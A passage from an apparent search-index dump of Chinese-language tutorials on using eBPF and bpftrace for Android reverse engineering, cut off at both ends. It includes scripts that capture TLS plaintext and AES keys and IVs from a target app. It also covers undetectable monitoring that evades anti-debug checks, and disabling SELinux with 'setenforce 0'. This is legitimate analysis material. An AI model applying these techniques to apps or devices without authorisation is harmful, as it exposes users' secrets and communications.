uprobe/uretprobe 用户态函数追踪 追踪应用函数 tracepoint 内核静态追踪点 系统调用追踪 socket_filter 网络包过滤 网络流量分析 xdp 高性能网络处理 网络数据包分析 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:4:1","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#程序类型"},{"categories":null,"collections":null,"content":"Maps 数据结构 eBPF Maps 用于在内核和用户空间之间共享数据: // 常用 Map 类型 BPF_HASH(counts, u32); // 哈希表 BPF_ARRAY(data, u64, 256); // 数组 BPF_PERF_OUTPUT(events); // 性能事件输出 BPF_STACK_TRACE(stacks, 128); // 调用栈追踪 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:4:2","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#maps-数据结构"},{"categories":null,"collections":null,"content":"辅助函数 // 常用 eBPF 辅助函数 bpf_get_current_pid_tgid() // 获取进程/线程 ID bpf_get_current_comm() // 获取进程名 bpf_probe_read() // 安全读取内存 bpf_ktime_get_ns() // 获取时间戳 bpf_trace_printk() // 调试输出 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:4:3","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#辅助函数"},{"categories":null,"collections":null,"content":"实战场景 💡 思路一句话: eBPF 的核心优势是「内核级无感知监控」— 在内核中插入探针，应用层完全无法检测到，适合对抗强反调试/反 hook 的场景。 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:5:0","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#实战场景"},{"categories":null,"collections":null,"content":"场景1: 追踪加密函数调用 追踪应用调用的 OpenSSL 加密函数: adb shell /data/local/tmp/bpftrace -e ' uprobe:/system/lib64/libcrypto.so:EVP_EncryptInit_ex /comm == \"com.target.app\"/ { printf(\"[%d] EVP_EncryptInit_ex called\\n\", pid); printf(\" ctx: %p\\n\", arg0); printf(\" type: %p\\n\", arg1); } uprobe:/system/lib64/libcrypto.so:EVP_EncryptUpdate /comm == \"com.target.app\"/ { printf(\"[%d] EVP_EncryptUpdate\\n\", pid); printf(\" input len: %d\\n\", arg3); } ' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:5:1","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#场景1-追踪加密函数调用"},{"categories":null,"collections":null,"content":"场景2: 监控网络连接 adb shell /data/local/tmp/bpftrace -e ' tracepoint:syscalls:sys_enter_connect /comm == \"com.target.app\"/ { $sa = (struct sockaddr *)args-\u003euservaddr; if ($sa-\u003esa_family == 2) { // AF_INET $sin = (struct sockaddr_in *)$sa; printf(\"Connect to %s:%d\\n\", ntop(AF_INET, $sin-\u003esin_addr.s_addr), ntohs($sin-\u003esin_port)); } }' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:5:2","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#场景2-监控网络连接"},{"categories":null,"collections":null,"content":"场景3: 文件访问监控 adb shell /data/local/tmp/bpftrace -e ' tracepoint:syscalls:sys_enter_openat /comm == \"com.target.app\"/ { @files[str(args-\u003efilename)] = count(); } tracepoint:syscalls:sys_enter_read /comm == \"com.target.app\"/ { @read_bytes = sum(args-\u003ecount); } tracepoint:syscalls:sys_enter_write /comm == \"com.target.app\"/ { @write_bytes = sum(args-\u003ecount); } END { printf(\"\\n=== 文件访问统计 ===\\n\"); print(@files); printf(\"\\n读取字节: %d\\n\", @read_bytes); printf(\"写入字节: %d\\n\", @write_bytes); }' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:5:3","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#场景3-文件访问监控"},{"categories":null,"collections":null,"content":"场景4: JNI 调用追踪 # 追踪 JNI 函数调用 adb shell /data/local/tmp/bpftrace -e ' uprobe:/system/lib64/libart.so:*JNI* /comm == \"com.target.app\"/ { printf(\"[JNI] %s\\n\", probe); }' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:5:4","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#场景4-jni-调用追踪"},{"categories":null,"collections":null,"content":"场景5: 检测反调试行为 # 监控常见的反调试系统调用 adb shell /data/local/tmp/bpftrace -e ' tracepoint:syscalls:sys_enter_ptrace { printf(\"[Anti-Debug] ptrace called by %s (PID: %d)\\n\", comm, pid); printf(\" request: %d\\n\", args-\u003erequest); } tracepoint:syscalls:sys_enter_prctl { printf(\"[Anti-Debug] prctl called by %s\\n\", comm); printf(\" option: %d\\n\", args-\u003eoption); } kprobe:proc_pid_status { printf(\"[Anti-Debug] /proc/pid/status read by %s\\n\", comm); }' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:5:5","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#场景5-检测反调试行为"},{"categories":null,"collections":null,"content":"高级技巧 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:6:0","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#高级技巧"},{"categories":null,"collections":null,"content":"1. 条件过滤 # 只追踪特定 UID 的进程 adb shell /data/local/tmp/bpftrace -e ' tracepoint:syscalls:sys_enter_* /uid == 10123/ // 目标应用的 UID { @syscalls[probe] = count(); }' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:6:1","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#1-条件过滤"},{"categories":null,"collections":null,"content":"2. 调用栈追踪 # 获取完整调用栈 adb shell /data/local/tmp/bpftrace -e ' uprobe:/data/app/com.target.app-*/lib/arm64/libnative.so:suspicious_function { printf(\"Function called!\\n\"); printf(\"User stack:\\n%s\\n\", ustack); printf(\"Kernel stack:\\n%s\\n\", kstack); }' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:6:2","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#2-调用栈追踪"},{"categories":null,"collections":null,"content":"3. 时间统计 # 统计函数执行时间 adb shell /data/local/tmp/bpftrace -e ' uprobe:/data/app/com.target.app-*/lib/arm64/libnative.so:target_function { @start[tid] = nsecs; } uretprobe:/data/app/com.target.app-*/lib/arm64/libnative.so:target_function /@start[tid]/ { $duration = nsecs - @start[tid]; @time = hist($duration); delete(@start[tid]); }' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:6:3","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#3-时间统计"},{"categories":null,"collections":null,"content":"4. 内存访问追踪 # 追踪内存分配 adb shell /data/local/tmp/bpftrace -e ' uprobe:/apex/com.android.runtime/lib64/bionic/libc.so:malloc /comm == \"com.target.app\"/ { @malloc_size = hist(arg0); @total_alloc = sum(arg0); } uretprobe:/apex/com.android.runtime/lib64/bionic/libc.so:malloc /comm == \"com.target.app\"/ { printf(\"malloc returned: %p\\n\", retval); }' ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:6:4","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#4-内存访问追踪"},{"categories":null,"collections":null,"content":"BCC Python 脚本 对于更复杂的追踪需求，可以使用 BCC Python API: #!/usr/bin/env python3 from bcc import BPF # eBPF 程序 prog = \"\"\" #include \u003cuapi/linux/ptrace.h\u003e #include \u003clinux/sched.h\u003e struct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN]; char filename[256]; }; BPF_PERF_OUTPUT(events); int trace_openat(struct pt_regs *ctx, int dfd, const char __user *filename) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid() \u003e\u003e 32; data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(\u0026data.comm, sizeof(data.comm)); bpf_probe_read_user_str(\u0026data.filename, sizeof(data.filename), filename); events.perf_submit(ctx, \u0026data, sizeof(data)); return 0; } \"\"\" # 加载 BPF 程序 b = BPF(text=prog) b.attach_kprobe(event=\"do_sys_openat2\", fn_name=\"trace_openat\") # 处理事件 def print_event(cpu, data, size): event = b[\"events\"].event(data) print(f\"[{event.pid}] {event.comm.decode()}: {event.filename.decode()}\") b[\"events\"].open_perf_buffer(print_event) print(\"Tracing file opens... Ctrl+C to exit\") while True: try: b.perf_buffer_poll() except KeyboardInterrupt: break ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:7:0","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#bcc-python-脚本"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:8:0","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#常见问题"},{"categories":null,"collections":null,"content":"Q: Android 设备不支持 eBPF？ 检查内核版本和配置: # 内核版本需要 \u003e= 4.14 adb shell uname -r # 部分厂商可能禁用了 BPF adb shell zcat /proc/config.gz | grep BPF 解决方案: 使用自定义内核 (如 LineageOS) 使用 Android 模拟器 (支持更好) 使用特定的 Root 方案 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:8:1","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#q-android-设备不支持-ebpf"},{"categories":null,"collections":null,"content":"Q: bpftrace 报错 “Failed to attach”？ # 检查 SELinux 状态 adb shell getenforce # 临时禁用 (需要 root) adb shell setenforce 0 # 检查内核符号 adb shell cat /proc/kallsyms | head ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:8:2","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#q-bpftrace-报错-failed-to-attach"},{"categories":null,"collections":null,"content":"Q: 如何追踪特定应用？ # 方法1: 使用进程名 /comm == \"com.target.app\"/ # 方法2: 使用 PID /pid == 12345/ # 方法3: 使用 UID /uid == 10123/ # 获取应用 UID adb shell dumpsys package com.target.app | grep userId ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:8:3","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#q-如何追踪特定应用"},{"categories":null,"collections":null,"content":"工具推荐 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:9:0","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#工具推荐"},{"categories":null,"collections":null,"content":"1. bpftrace 官网: https://github.com/iovisor/bpftrace Android 版: https://github.com/aspect-build/bpftrace-android ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:9:1","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#1-bpftrace"},{"categories":null,"collections":null,"content":"2. BCC 官网: https://github.com/iovisor/bcc 文档: https://github.com/iovisor/bcc/blob/master/docs/reference_guide.md ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:9:2","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#2-bcc"},{"categories":null,"collections":null,"content":"3. libbpf 官网: https://github.com/libbpf/libbpf CO-RE (一次编译，到处运行) ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:9:3","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#3-libbpf"},{"categories":null,"collections":null,"content":"4. eCapture 官网: https://github.com/gojue/ecapture 无需 CA 证书的 HTTPS 抓包工具 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:9:4","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#4-ecapture"},{"categories":null,"collections":null,"content":"5. Tracee 官网: https://github.com/aquasecurity/tracee 安全事件追踪工具 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:9:5","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#5-tracee"},{"categories":null,"collections":null,"content":"延伸阅读 eBPF 内部原理 - 深入理解 eBPF 工作机制 eBPF Android 逆向实战 - Android 逆向场景实战 eBPF 脚本集 - 可直接使用的脚本 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:10:0","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#延伸阅读"},{"categories":null,"collections":null,"content":"参考资料 eBPF.io - eBPF 官方网站 Linux Kernel BPF Documentation BPF Performance Tools - Brendan Gregg 的经典书籍 Android eBPF - Android 官方 eBPF 文档 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/:11:0","tags":["eBPF","内核追踪","系统调用","动态分析","Android"],"title":"eBPF 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_guide/#参考资料"},{"categories":null,"collections":null,"content":"eBPF Android 逆向实战 本文通过实战案例展示如何使用 eBPF 进行 Android 应用逆向分析。eBPF 的优势在于运行在内核层，极难被应用检测到。 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:0:0","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#ebpf-android-逆向实战"},{"categories":null,"collections":null,"content":"实战环境准备 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:1:0","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#实战环境准备"},{"categories":null,"collections":null,"content":"设备要求 # 1. 检查内核版本 (需要 \u003e= 4.14) adb shell uname -r # 期望输出: 4.14.x 或更高 # 2. 检查 eBPF 支持 adb shell ls /sys/fs/bpf/ # 应该存在此目录 # 3. 检查必要的内核配置 adb shell zcat /proc/config.gz | grep -E \"CONFIG_BPF|CONFIG_KPROBE\" ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:1:1","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#设备要求"},{"categories":null,"collections":null,"content":"工具安装 # 下载 bpftrace for Android # 选项1: 使用预编译版本 wget https://github.com/aspect-build/bpftrace-android/releases/latest/bpftrace-arm64 # 选项2: 自行编译 (需要 NDK) # 推送到设备 adb push bpftrace-arm64 /data/local/tmp/bpftrace adb shell chmod +x /data/local/tmp/bpftrace # 验证安装 adb shell /data/local/tmp/bpftrace --version ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:1:2","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#工具安装"},{"categories":null,"collections":null,"content":"SELinux 配置 # 获取 root 权限 adb root # 临时禁用 SELinux (必需) adb shell setenforce 0 # 验证 adb shell getenforce # 输出: Permissive ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:1:3","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#selinux-配置"},{"categories":null,"collections":null,"content":"实战案例 1: 隐蔽追踪加密通信 💡 思路一句话: 用 eBPF 在内核层拦截 send/recv 系统调用，在加密前/解密后捕获明文数据，完全绕过应用层的反 hook 检测。 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:2:0","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#实战案例-1-隐蔽追踪加密通信"},{"categories":null,"collections":null,"content":"背景 目标应用使用自定义加密，需要在不被检测的情况下捕获明文数据。 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:2:1","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#背景"},{"categories":null,"collections":null,"content":"步骤 1: 识别加密库 # 列出应用加载的共享库 adb shell cat /proc/$(pidof com.target.app)/maps | grep \"\\.so\" # 常见加密库位置 # /system/lib64/libcrypto.so (OpenSSL) # /system/lib64/libssl.so (SSL/TLS) # /data/app/xxx/lib/arm64/lib*.so (应用私有库) ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:2:2","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#步骤-1-识别加密库"},{"categories":null,"collections":null,"content":"步骤 2: 追踪 OpenSSL 加密 #!/usr/bin/env bpftrace // 文件: ssl_intercept.bt // 追踪 SSL_write - 捕获发送的明文 uprobe:/system/lib64/libssl.so:SSL_write /comm == \"com.target.app\"/ { @ssl_write_buf[tid] = arg1; @ssl_write_len[tid] = arg2; printf(\"\\n[SSL_write] len=%d\\n\", arg2); } uretprobe:/system/lib64/libssl.so:SSL_write /comm == \"com.target.app\" \u0026\u0026 @ssl_write_buf[tid]/ { $buf = @ssl_write_buf[tid]; $len = @ssl_write_len[tid]; // 打印前64字节 $print_len = $len \u003c 64 ? $len : 64; printf(\"Data (first %d bytes):\\n\", $print_len); // 使用循环打印数据 $i = 0; while ($i \u003c $print_len \u0026\u0026 $i \u003c 64) { $byte = *(uint8 *)($buf + $i); printf(\"%02x \", $byte); if (($i + 1) % 16 == 0) { printf(\"\\n\"); } $i++; } printf(\"\\n\"); delete(@ssl_write_buf[tid]); delete(@ssl_write_len[tid]); } // 追踪 SSL_read - 捕获接收的明文 uprobe:/system/lib64/libssl.so:SSL_read /comm == \"com.target.app\"/ { @ssl_read_buf[tid] = arg1; } uretprobe:/system/lib64/libssl.so:SSL_read /comm == \"com.target.app\" \u0026\u0026 retval \u003e 0/ { $buf = @ssl_read_buf[tid]; $len = retval; printf(\"\\n[SSL_read] len=%d\\n\", $len); $print_len = $len \u003c 64 ? $len : 64; printf(\"Data (first %d bytes):\\n\", $print_len); $i = 0; while ($i \u003c $print_len \u0026\u0026 $i \u003c 64) { $byte = *(uint8 *)($buf + $i); printf(\"%02x \", $byte); if (($i + 1) % 16 == 0) { printf(\"\\n\"); } $i++; } printf(\"\\n\"); delete(@ssl_read_buf[tid]); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:2:3","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#步骤-2-追踪-openssl-加密"},{"categories":null,"collections":null,"content":"步骤 3: 捕获加密密钥 #!/usr/bin/env bpftrace // 文件: crypto_key_capture.bt // AES 密钥设置 uprobe:/system/lib64/libcrypto.so:AES_set_encrypt_key /comm == \"com.target.app\"/ { $key = (uint8 *)arg0; $bits = arg1; printf(\"\\n[AES_set_encrypt_key] bits=%d\\n\", $bits); printf(\"Key: \"); $len = $bits / 8; $i = 0; while ($i \u003c $len) { printf(\"%02x\", $key[$i]); $i++; } printf(\"\\n\"); } // EVP 加密初始化 - 获取 IV uprobe:/system/lib64/libcrypto.so:EVP_EncryptInit_ex /comm == \"com.target.app\"/ { printf(\"\\n[EVP_EncryptInit_ex]\\n\"); printf(\" ctx=%p cipher=%p key=%p iv=%p\\n\", arg0, arg1, arg3, arg4); if (arg4 != 0) { $iv = (uint8 *)arg4; printf(\" IV: \"); $i = 0; while ($i \u003c 16) { printf(\"%02x\", $iv[$i]); $i++; } printf(\"\\n\"); } } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:2:4","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#步骤-3-捕获加密密钥"},{"categories":null,"collections":null,"content":"实战案例 2: 绕过反调试检测 💡 思路一句话: 用 eBPF hook ptrace/open 等系统调用，在内核层篡改返回值，让反调试检测函数永远得到\"安全\"的结果。 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:3:0","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#实战案例-2-绕过反调试检测"},{"categories":null,"collections":null,"content":"背景 目标应用有多重反调试保护，需要在不触发检测的情况下分析。 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:3:1","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#背景-1"},{"categories":null,"collections":null,"content":"检测点分析 #!/usr/bin/env bpftrace // 文件: anti_debug_analysis.bt // 首先运行此脚本，观察应用的反调试行为 // 1. ptrace 检测 tracepoint:syscalls:sys_enter_ptrace { printf(\"[PTRACE] %s (PID:%d) request=%d target_pid=%d\\n\", comm, pid, args-\u003erequest, args-\u003epid); @ptrace_requests[args-\u003erequest] = count(); } // 2. /proc 文件系统访问 tracepoint:syscalls:sys_enter_openat /strcontains(str(args-\u003efilename), \"/proc/\")/ { $f = str(args-\u003efilename); if (strcontains($f, \"status\") || strcontains($f, \"stat\") || strcontains($f, \"maps\") || strcontains($f, \"cmdline\")) { printf(\"[PROC] %s opening %s\\n\", comm, $f); @proc_access[$f] = count(); } } // 3. 时间检测 (调试会导致执行变慢) tracepoint:syscalls:sys_enter_clock_gettime /comm == \"com.target.app\"/ { @clock_gettime = count(); } tracepoint:syscalls:sys_enter_gettimeofday /comm == \"com.target.app\"/ { @gettimeofday = count(); } // 4. 信号处理 tracepoint:signal:signal_deliver /comm == \"com.target.app\"/ { printf(\"[SIGNAL] %s received signal %d\\n\", comm, args-\u003esig); } END { printf(\"\\n=== 反调试行为统计 ===\\n\"); printf(\"\\nptrace 请求:\\n\"); print(@ptrace_requests); printf(\"\\n/proc 访问:\\n\"); print(@proc_access); printf(\"\\n时间获取: clock_gettime=%d, gettimeofday=%d\\n\", @clock_gettime, @gettimeofday); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:3:2","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#检测点分析"},{"categories":null,"collections":null,"content":"隐蔽监控方案 使用 eBPF 监控而非 Frida，避免被检测: #!/usr/bin/env bpftrace // 文件: stealth_monitor.bt // eBPF 运行在内核空间，应用层无法检测 // 追踪所有关键行为，但不干预 tracepoint:syscalls:sys_enter_openat /comm == \"com.target.app\"/ { @files[str(args-\u003efilename)] = count(); } tracepoint:syscalls:sys_enter_connect /comm == \"com.target.app\"/ { @connects = count(); } tracepoint:syscalls:sys_enter_sendto /comm == \"com.target.app\"/ { @send_bytes = sum(args-\u003elen); } tracepoint:syscalls:sys_enter_recvfrom /comm == \"com.target.app\"/ { @recv_attempts = count(); } // JNI 调用追踪 uprobe:/apex/com.android.art/lib64/libart.so:*RegisterNatives* /comm == \"com.target.app\"/ { printf(\"[JNI] RegisterNatives called\\n\"); @jni_register = count(); } interval:s:10 { printf(\"\\n--- 10秒统计 ---\\n\"); printf(\"文件访问: \"); print(@files); printf(\"网络连接: %d, 发送: %d 字节\\n\", @connects, @send_bytes); clear(@files); clear(@connects); clear(@send_bytes); clear(@recv_attempts); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:3:3","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#隐蔽监控方案"},{"categories":null,"collections":null,"content":"实战案例 3: 分析应用启动流程 💡 思路一句话: 用 eBPF 追踪 fork/exec/mmap/open 系统调用序列，还原应用从 Zygote fork 到加载 DEX/SO 的完整启动链路。 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:4:0","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#实战案例-3-分析应用启动流程"},{"categories":null,"collections":null,"content":"追踪启动过程 #!/usr/bin/env bpftrace // 文件: app_startup.bt // 用途: 分析应用从启动到完成初始化的全过程 BEGIN { printf(\"等待应用启动...\\n\"); printf(\"请执行: adb shell am start com.target.app/.MainActivity\\n\\n\"); } // Zygote fork 新进程 tracepoint:sched:sched_process_fork /comm == \"zygote64\" || comm == \"zygote\"/ { printf(\"[%llu] FORK: %s -\u003e child_pid=%d\\n\", nsecs, comm, args-\u003echild_pid); @app_pid = args-\u003echild_pid; } // 进程执行 tracepoint:sched:sched_process_exec /@app_pid == pid/ { printf(\"[%llu] EXEC: %s\\n\", nsecs, comm); } // 库加载追踪 tracepoint:syscalls:sys_enter_openat /pid == @app_pid \u0026\u0026 strcontains(str(args-\u003efilename), \".so\")/ { printf(\"[%llu] LOAD: %s\\n\", nsecs, str(args-\u003efilename)); @loaded_libs[str(args-\u003efilename)] = 1; } // DEX 文件访问 tracepoint:syscalls:sys_enter_openat /pid == @app_pid \u0026\u0026 (strcontains(str(args-\u003efilename), \".dex\") || strcontains(str(args-\u003efilename), \".apk\") || strcontains(str(args-\u003efilename), \".vdex\") || strcontains(str(args-\u003efilename), \".odex\"))/ { printf(\"[%llu] DEX: %s\\n\", nsecs, str(args-\u003efilename)); } // mmap 可执行区域 (代码加载) tracepoint:syscalls:sys_enter_mmap /pid == @app_pid \u0026\u0026 (args-\u003eprot \u0026 4)/ // PROT_EXEC { printf(\"[%llu] MMAP_EXEC: addr=%p len=%zu\\n\", nsecs, args-\u003eaddr, args-\u003elen); @exec_maps = count(); } // 网络连接 (首次通信) tracepoint:syscalls:sys_enter_connect /pid == @app_pid/ { printf(\"[%llu] FIRST_CONNECT\\n\", nsecs); } // 10 秒后输出统计 interval:s:10 { printf(\"\\n=== 启动分析完成 ===\\n\"); printf(\"加载的库:\\n\"); print(@loaded_libs); printf(\"可执行映射数: %d\\n\", @exec_maps); exit(); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:4:1","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#追踪启动过程"},{"categories":null,"collections":null,"content":"追踪 Native 库初始化 #!/usr/bin/env bpftrace // 文件: native_init.bt // 追踪 .so 库的 init 函数 // dlopen 调用 uprobe:/apex/com.android.runtime/lib64/bionic/libdl.so:dlopen /comm == \"com.target.app\"/ { printf(\"[DLOPEN] Loading: %s\\n\", 